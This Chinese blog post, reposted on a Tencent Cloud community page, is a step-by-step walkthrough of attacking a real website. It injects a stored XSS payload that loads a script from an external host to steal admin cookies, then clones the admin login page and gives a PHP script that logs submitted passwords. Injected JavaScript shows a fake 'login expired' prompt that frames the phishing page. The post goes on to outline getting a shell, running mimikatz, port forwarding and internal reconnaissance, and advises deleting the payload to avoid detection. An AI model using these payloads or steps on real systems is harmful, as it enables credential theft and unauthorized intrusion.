前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >xss漏洞详解

xss漏洞详解

作者头像
C4rpeDime
发布2022-04-24 10:45:16
7180
发布2022-04-24 10:45:16
举报
文章被收录于专栏:黑白安全黑白安全

前言渗透过程中,有时候遇某些网站,明明检测到有xss漏洞,但是盲打以后,收到的cookie还是不能登录后台,大多数的原因都是因为对方的cookie关键参数开启了httponly,导致你获取到的cookie参数不全,所以没法登录。今天和大家分享一次绕过httponly拿后台的思路。我们经常会用<script>alert('1')&l

前言

渗透过程中,有时候遇某些网站,明明检测到有XSS漏洞,但是盲打以后,收到的cookie还是不能登录后台,大多数的原因都是因为对方的cookie关键参数开启了httponly,导致你获取到的cookie参数不全,所以没法登录。

今天和大家分享一次绕过httponly拿后台的思路。我们经常会用

代码语言:javascript
复制
<script>alert('1')</script>

0x01 遇到一个存在xss的站点

这个站点在提交订单的时候,下面有个订单备注输入框存在存储型xss。 我们直接插入插入xss代码;

代码语言:javascript
复制
</textarea>'"><script src=https://xx.cc/x/7Zbi58></script>
xss漏洞详解 漏洞详解 Xss 漏洞分析  第1张
xss漏洞详解 漏洞详解 Xss 漏洞分析 第1张

过了没多久拿到了cookie

xss漏洞详解 漏洞详解 Xss 漏洞分析  第2张
xss漏洞详解 漏洞详解 Xss 漏洞分析 第2张

但是我们尝试用cookie登录的时候失败了。

xss漏洞详解 漏洞详解 Xss 漏洞分析  第3张
xss漏洞详解 漏洞详解 Xss 漏洞分析 第3张

那么问题来了,如何才能拿到后台呢?

0x02 xss钓鱼拿下后台

因为xss平台已经收到后台的url地址了。 那么我们直接访问这个后台地址,然后右键查看源代码。

xss漏洞详解 漏洞详解 Xss 漏洞分析  第4张
xss漏洞详解 漏洞详解 Xss 漏洞分析 第4张

然后把所有代码复制到我们新建的一个html文件里面。 修改里面的代码,把所有相对路径的地方,全部改成绝对路径,(啥意思呢?请看下面分析。)

比如里面有的链接是这样的 /index.php 我们要修改成被钓鱼的域名加上/index.php 改完后应该是这样的 http://被钓鱼的域名.com/index.php

xss漏洞详解 漏洞详解 Xss 漏洞分析  第5张
xss漏洞详解 漏洞详解 Xss 漏洞分析 第5张

注意:所有相对路径链接部分都要改。

然后我们把action=这里修改成我们的1.php文件地址(源码在下面)

代码语言:javascript
复制
<form action="http://www.xxx.xxx/1.php" method="post" class="login-form">
1.php源码如下
代码语言:javascript
复制
<?php $str='';   $str.='name:'.$_POST['name'].'|';   $str.='pwd:'.$_POST['pwd'].'|';   $str.='ip:'.$_SERVER["REMOTE_ADDR"].'|';   $str.='time:'.date("m-d-h:i");   file_put_contents('log.txt',$str.PHP_EOL, FILE_APPEND);   #下面这行的意思是记录完账号密码以后跳转到他原来的后台地址。header("location:https://www.baidu.com/admin.php");?>

注意:你的html文件里面的用户名和密码的参数名称要对应1.php的修改。 name=的这里,要和1.php的对应,要不然接收不到账号密码。

xss漏洞详解 漏洞详解 Xss 漏洞分析  第6张
xss漏洞详解 漏洞详解 Xss 漏洞分析 第6张

1.php的后面添加上被钓鱼方的后台首页地址,成功拿到密码以后会自动跳回他后台首页。

接下来我们把这个html文件和1.php放到网站空间,直接phpstudy搭建一个也可以的。

现在去xss平台新建一个项目 名称什么的随便输入,在自定义代码处输入以下代码。 把其中的url地址修改成你的html地址。

代码语言:javascript
复制
setTimeout(function(){  alert("登陆过期,请重新登陆!");parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src=\"https:\/\/我的钓鱼域名.com/index.html\" frameBorder=0 scrolling=no></iframe>");setTimeout(function(){  document.getElementsByTagName("body")[0].setAttribute("style","margin:2px;");},100);setTimeout(function(){  parent.document.getElementsByTagName("body")[0].setAttribute("style","margin:0px;");},100);},1500);

我们把得到的xss地址复制下来,插入到订单备注里面。 管理员看到我们的订单以后,1.5秒后就会自动弹出“登录过期,请重新登陆”的提示,并在url不改变的情况下,跳转到我们伪造的登录页面上去了。

接下来只要管理员输入了账号密码,并且提交,那么我们钓鱼服务器就收到账号密码啦,管理员那边也正常跳转到他的后台。

xss漏洞详解 漏洞详解 Xss 漏洞分析  第7张
xss漏洞详解 漏洞详解 Xss 漏洞分析 第7张

注意:拿到账号密码以后请迅速删掉你的xss项目,要不然管理员那边每一次浏览你的订单都会跳出这个登录页面,避免被发现。 另外实际操作的时候,你可以修改下代码,比如判断是否登录成功,或者修改延时等等,我这只是提供一个思路,抛砖引玉吧。

然后我们用拿到的账号密码登录后台,找上传点GETSHELL。

拿到shell以后我们用 mimikatz(咪咪卡住)获取管理员密码。 然后通过ipconfig看到对方服务器在内网,所以我们需要转发端口出来,这里方法很多了,lcx转发 ngrok等等都可以的。

转发出来我们用获取到的密码直接登录服务器。 先收集一波内网信息。

代码语言:javascript
复制
net view 列出工作组下的计算机名
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2018-10-18),如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 0x01 遇到一个存在xss的站点
  • 0x02 xss钓鱼拿下后台
    • 1.php源码如下
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档